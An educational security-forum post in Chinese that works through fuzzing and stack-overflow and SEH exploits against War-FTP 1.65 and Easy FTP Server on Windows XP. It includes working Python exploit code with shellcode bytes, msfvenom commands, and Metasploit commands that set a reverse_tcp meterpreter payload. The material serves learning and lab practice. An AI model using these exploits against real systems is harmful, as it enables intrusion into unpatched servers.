首页
论坛
课程
招聘
[原创]读书笔记——典型FTP软件的模糊测试和漏洞利用
2020-6-1 15:01 4705

[原创]读书笔记——典型FTP软件的模糊测试和漏洞利用

2020-6-1 15:01
4705
最近笔者通过一些优秀书籍来学习模糊测试和漏洞利用程序的编写方法。本文在这些案例的基础上拓宽思路,给读者,特别是初学者,带来有关漏洞方面的更加翔实的材料,读者可以对照参考。

材料一:《渗透测试完全初学者指南》中有关War-FTP 1.65的内容
1.1 概述
背景描述:在该书的第17、18章中,编写了一个基于栈溢出和SEH机制的漏洞利用程序,使用Python以TCP socket的方式连接FTP软件,用工具ImmunityDebugger和mona来查找各种参数,最终实现Exploit。在本文中,利用与原书不同的工具和方法来验证、利用漏洞。
实验环境:攻击机Kali Linux 2019.2(虚拟机)、测试机Windows XP SP3 x86简体中文版(虚拟机)、War-FTP 1.65软件。
1.2 War-FTP 1.65的模糊测试
先假定我们不知道War-FTP 1.65软件存在漏洞,因此采用模糊测试的方法来探测是否存在漏洞。使用以下Python程序(部分):
ftp = FTP()
port = 21
ftp.connect('127.0.0.1',port) # 连接FTP服务器
username = 'A'*800
ftp.login(username,'')
--snip--

 

ftp.quit()
使用Python ftplib模块提供的方法来连接运行于本机的War-FTP 1.65软件,登录用户名发送800个字母“A”,程序崩溃,可以初步判断程序存在缓冲区溢出漏洞。用OD监视程序,如图1所示。
图片描述
图1
1.3 栈溢出的基本原理
先看一张函数调用的示意图,如图2所示。
图片描述
图2
函数F1在调用F2之前,F1会保存F2结束以后的返回地址,然后移交给F2执行,F2执行完毕后,根据记录的返回地址复原栈帧,继续执行F1函数。在图1中可以看出,当向一个有栈溢出漏洞的程序发送大量数据时,ESP、EBP等寄存器都可以被垃圾数据淹没。由于EIP寄存器存放下一条指令的地址,因此可以编写一个Exploit程序,使EIP指向预设的一段叫做Shellcode的指令,从而达到控制系统的目的。由于栈的布局原因,通常使用JMP ESP指令来覆盖返回地址,并且将Shellcode存放到ESP处,从而引导CPU执行Shellcode。
1.4 编写基于栈溢出Exploit
接下来我们编写Exploit获取各个参数依靠的工具是Metasploit,关键寄存器的偏移数和JMP ESP的地址是需要获得的重要数值。使用pattern_create来创建1000的字符的测试用例,如图3所示。
图片描述
图3
修改上面的Python程序,将这1000个字符作为用户名,发送给War-FTP 1.65软件。发送之前,先用OD附加(attach)到FTP的进程之上。发送完毕,得到的结果如图4所示,可以看出,此时ESP的值是0x71413471,EIP的值是0x32714131。
图片描述
图4
再回到Kali Linux系统中,pattern_offset来将两个寄存器的值进行定位,如图5所示,ESP的偏移是493,EIP的偏移是485。这意味着,向用户名发送485个字节可以定位到EIP,8个字节之后则是ESP。
图片描述
图5
接下来确定JMP ESP的地址。ws2_32.dll是Windows系统中有关网络方面的系统模块,可以将它复制到Kali Linux系统中,使用msfbinscan来扫描该模块中的JMP ESP,结果如图6所示,获得地址是0x71a22b53。
图片描述
图6
接下来生成Shellcode。为了方便,本文不再具体阐述Shellcode的编写,采用从Metasploit直接生成的方式。运行如下命令得到Shellcode:
msfvenom -p windows/exec CMD=calc.exe EXITFUNC=thread -a x86 --platform windows -b '\x00\x40\0a\x0d' -f c
其中,“-p”是指攻击载荷(payload),在windows/exec方式下可以打开计算器程序(calc.exe);“EXITFUNC”指定退出方式;“-a x86 --platform windows”指程序运行平台,“x86、windows”是默认选项,对于本程序来说可以忽略不填,可根据实际需要填写;“-b”是排除坏字符,“-f”是指以C程序的方式生成Shellcode,略作修改即可在Python中使用。
现在,各项数值均已确定,可以生成Exploit了。刚才计算出ESP与EIP之间差8个字节,其中4个字节是JMP ESP的地址,另外4个字节填充nop(padding),此外还需要抬高栈顶的6个字节("\x81\xc4\x24\xfa\xff\xff"),以便保护Shellcode。综上,编写以下Python程序(部分):
buf = ("\xba\x8e\x56\xd6\xde\xd9\xcd\xd9\x74\x24\xf4\x5b\x33\xc9\xb1"
"\x31\x31\x53\x13\x03\x53\x13\x83\xc3\x8a\xb4\x23\x22\x7a\xba"
"\xcc\xdb\x7a\xdb\x45\x3e\x4b\xdb\x32\x4a\xfb\xeb\x31\x1e\xf7"
"\x80\x14\x8b\x8c\xe5\xb0\xbc\x25\x43\xe7\xf3\xb6\xf8\xdb\x92"
"\x34\x03\x08\x75\x05\xcc\x5d\x74\x42\x31\xaf\x24\x1b\x3d\x02"
"\xd9\x28\x0b\x9f\x52\x62\x9d\xa7\x87\x32\x9c\x86\x19\x49\xc7"
"\x08\x9b\x9e\x73\x01\x83\xc3\xbe\xdb\x38\x37\x34\xda\xe8\x06"
"\xb5\x71\xd5\xa7\x44\x8b\x11\x0f\xb7\xfe\x6b\x6c\x4a\xf9\xaf"
"\x0f\x90\x8c\x2b\xb7\x53\x36\x90\x46\xb7\xa1\x53\x44\x7c\xa5"
"\x3c\x48\x83\x6a\x37\x74\x08\x8d\x98\xfd\x4a\xaa\x3c\xa6\x09"
"\xd3\x65\x02\xff\xec\x76\xed\xa0\x48\xfc\x03\xb4\xe0\x5f\x49"
"\x4b\x76\xda\x3f\x4b\x88\xe5\x6f\x24\xb9\x6e\xe0\x33\x46\xa5"
"\x45\xdb\xa4\x6c\xb3\x74\x71\xe5\x7e\x19\x82\xd3\xbc\x24\x01"
"\xd6\x3c\xd3\x19\x93\x39\x9f\x9d\x4f\x33\xb0\x4b\x70\xe0\xb1"
"\x59\x13\x67\x22\x01\xfa\x02\xc2\xa0\x02")
ftp = FTP()
port = 21
ret = struct.pack('<L', 0x71a22b53)
padding = "\x90" 4
ftp.connect('127.0.0.1',port) # 连接FTP服务器
username = 'A'
485 + ret + padding + "\x81\xc4\x24\xfa\xff\xff" + buf
ftp.login(username,'') # 登录
--snip—
ftp.quit()
用OD附加War-FTP 1.65软件,然后运行Exploit程序,实验成功弹出了计算器,如图7所示。
图片描述
图7
1.5 修改Metasploit的Ruby程序以适配Windows XP SP3 x86简体中文版系统
在编写完Python版的Exploit之后,想测试一下Metasploit中的Ruby程序,键入如下命令,攻击失败,如图8所示。
search war-ftpd
use exploit/windows/ftp/warftpd_165_user
show payloads
set payload windows/meterpreter/reverse_tcp
show options
set rhost 192.168.225.130
set lhost 192.168.225.131
exploit
图片描述
图8
在图中可以看到,失败的原因是目标(target)系统中没有包括Windows XP SP3 x86简体中文版系统。于是找到这个Ruby攻击程序,将Id为4的目标系统的名字及JMP ESP地址进行修改适配,修改保存之后重新加载(reload),攻击成功,如图9所示。
图片描述
图9
1.6 基于SEH的漏洞利用基本原理
SEH(Structured Exception Handling),即结构化异常处理,是Windows系统处理程序错误或异常的重要手段。SEH以链表的形式存在,触发异常后,从第一个异常处理程序开始查找,如未能处理相关异常,就会传递到下一个异常处理程序,直到得到处理。如所有异常处理程序最终均未能处理异常,则会弹出非常熟悉的类似于“进程遇到错误”的窗口。当然,SEH的具体技术细节很复杂,本文只是简要叙述,此处不作为重点。
在漏洞利用技术中,如果以某种方式覆盖了栈中异常处理程序的地址,就能够控制这个应用程序,达到任意执行程序的目的。将这个过程描述如下:
(1)用垃圾数据淹没栈的空间,直至最近的一处异常处理程序所在地址。
(2)使用一条POP/POP/RET指令的地址来覆盖异常处理程序的地址。之所以使用POP/POP/RET,是因为需要一个“ESP+8”的操作,才能指向下一个SEH记录的地址,POP/POP/RET操作可以达到等效的目的。
(3)由于需要跳过异常处理程序地址,因此要用短跳转6个字节来替换NSEH,然后再用nop补齐两个字节。
(4)由于NSEH指向ShellCode,所以成功执行ShellCode,完成漏洞利用工作。
以上过程如图10所示:
图片描述
图10
1.7编写基于SEH的Exploit
还记得上文创建的1000个字符的测试用例吗?还将这个测试用例用Python发送到FTP软件中,观察栈的情况,如图11所示。
图片描述
图11
可以看到,NSEH的值是0x30744139,SEH的值是0x41317441。接下来需要进行定位,回到Kali中,如图12所示,SEH的偏移是573,则NSEH的偏移是573-4=569。
图片描述
图12
如前所述,短跳转的机器码是0xEB,跳转6个字节,再补充2个字节,因此可以用"\xEB\x06\x90\x90"来填充NSEH。
至于SEH,需要查找POP/POP/RET的地址来填充,考虑到在XP SP3系统中可能会受到SafeSEH机制的影响,因此决定不从系统模块中查找,改为从软件安装路径下的所有模块中查找,把软件安装路径下6个模块复制到Kali系统中进行查找。按名字顺序,第一个模块CODBCLog.dll查找的地址为0x10001b6e等三个,由于都含有坏字符“0x00”故舍弃;第二个模块Mfc42.dll查找出很多地址,在舍弃坏字符“0x40”后向下寻找,选定了地址0x5f428c4a。
接下来生成了一个弹出cmd的Shellcode,Exploit部分代码如下,成功弹出cmd,如图13所示。
buf= ("\xdb\xc5\xbf\xa6\x89\x7c\x02\xd9\x74\x24\xf4\x5d\x29\xc9\xb1"
"\x31\x31\x7d\x17\x03\x7d\x17\x83\x63\x8d\x9e\xf7\x97\x66\xdc"
"\xf8\x67\x77\x81\x71\x82\x46\x81\xe6\xc7\xf9\x31\x6c\x85\xf5"
"\xba\x20\x3d\x8d\xcf\xec\x32\x26\x65\xcb\x7d\xb7\xd6\x2f\x1c"
"\x3b\x25\x7c\xfe\x02\xe6\x71\xff\x43\x1b\x7b\xad\x1c\x57\x2e"
"\x41\x28\x2d\xf3\xea\x62\xa3\x73\x0f\x32\xc2\x52\x9e\x48\x9d"
"\x74\x21\x9c\x95\x3c\x39\xc1\x90\xf7\xb2\x31\x6e\x06\x12\x08"
"\x8f\xa5\x5b\xa4\x62\xb7\x9c\x03\x9d\xc2\xd4\x77\x20\xd5\x23"
"\x05\xfe\x50\xb7\xad\x75\xc2\x13\x4f\x59\x95\xd0\x43\x16\xd1"
"\xbe\x47\xa9\x36\xb5\x7c\x22\xb9\x19\xf5\x70\x9e\xbd\x5d\x22"
"\xbf\xe4\x3b\x85\xc0\xf6\xe3\x7a\x65\x7d\x09\x6e\x14\xdc\x44"
"\x71\xaa\x5b\x2a\x71\xb4\x63\x1b\x1a\x85\xe8\xf4\x5d\x1a\x3b"
"\xb1\x82\xf8\xe9\xcc\x2a\xa5\x78\x6d\x37\x56\x57\xb2\x4e\xd5"
"\x5d\x4b\xb5\xc5\x14\x4e\xf1\x41\xc5\x22\x6a\x24\xe9\x91\x8b"
"\x6d\x8a\x78\x10\xa0\x29\xfb\xbd\xbc")
ftp = FTP()
port = 21
seh = "\x4a\x8c\x42\x5f"
nseh = "\xeb\x06\x90\x90"
padding = "\x90" 1000 #触发异常
ftp.connect('127.0.0.1',port) #连接FTP服务器
username = 'A'
569 + nseh + seh + buf + padding
ftp.login(username,'') #登录
--snip—
ftp.quit()
图片描述
图13
材料二:《0day安全:软件漏洞分析技术》(第2版)中关于Easy FTP Server的内容
2.1 概述
背景描述:在该书第18章中,用Python编写了一个PoC以验证Easy FTP Server 1.7.0.2软件存在漏洞。区别于War-FTP 1.65软件漏洞,该漏洞是在登录之后由于FTP命令处理不当产生的漏洞,书中测试出了CWD命令有缓冲区溢出漏洞,作者要求读者自行编写漏洞的Exploit。在本文中,利用与原书不同的工具和方法来验证、利用漏洞。
实验环境:攻击机Kali Linux 2019.2(虚拟机)、测试机Windows XP SP3 x86简体中文版(虚拟机)、Easy FTP Server 1.7.0.2软件。
2.2 EasyFtp软件的模糊测试
本文使用EasyFuzzer2.0中的FTPFUZZ功能来对Easy FTP Server进行模糊测试。首先让被测软件正常运行,然后打开FTPFUZZ,正确填写IP地址、端口号、FTP账号、密码等信息,点击FUZZING按钮,稍等片刻,如图14所示,发现指令APPE出现可能的异常,FTP软件停止运行。下面编写Exploit来尝试利用APPE指令漏洞。
图片描述
图14
2.3 编写基于栈溢出Exploit
与上文中定位方法相同,偏移268字节可以到达EIP;JMP ESP也继续沿用;ESP与EIP之间用8个字节的padding补齐;使用一段精简的弹出计算器的Shellcode。关键指令如下,程序运行时需要填写参数(127.0.0.1 APPE),如图15所示。
crash = "\x41" 268 + ret + padding + buf
图片描述
图15
三、简析更高版本Windows系统上Exploit编写遇到的挑战
在比Windows XP更高版本的系统中,最流行的系统就是Windows 7和10。首先以表1的形式简析在Windows 7系统中遇到的一些漏洞利用缓解机制,最后再讨论Windows 10系统中遇到的新情况。
表1
图片描述
最新的Windows 10系统中,在保留上述漏洞利用缓解机制的基础上,进一步做了强化,体现在了Windows Defender之中,如图16所示,名叫Exploit Protection。在“系统设置”方面,包含了DEP、ASLR、SEHOP、堆完整性等内容,可根据实际需要进行设置;在“程序设置”方面,可针对每个程序进行设置,功能强大,设置方便。总之,Windows 10系统不愧是“有史以来最安全的Windows系统”,想要突破绝非易事,大家应当继续深入研究Windows 10系统的漏洞利用缓解机制。
图片描述
图16
*四、总结

本文简要介绍了基于栈溢出和SEH的漏洞利用基本原理,采用经典书籍中的例子,使用与原书中不同的工具、方法来测试漏洞与编写Exploit,希望想学习漏洞技术的读者可以将本文与原书对照参考,动手实践,只有多多实践才能发现问题、解决问题。由于本人水平所限,难免出现谬误,敬请读者批评指正。感谢文中提到的相关书籍及其他一些参考资料的作(译)者,感谢看雪安全论坛为技术爱好者提供的交流平台。


【公告】看雪招聘大学实习生!看雪20年安全圈的口碑,助你快速成长!

最后于 2020-6-1 15:09 被MXChange编辑 ,原因: 文件上传有误
上传的附件:
收藏
点赞1
打赏
分享
最新回复 (0)
游客
登录 | 注册 方可回帖
返回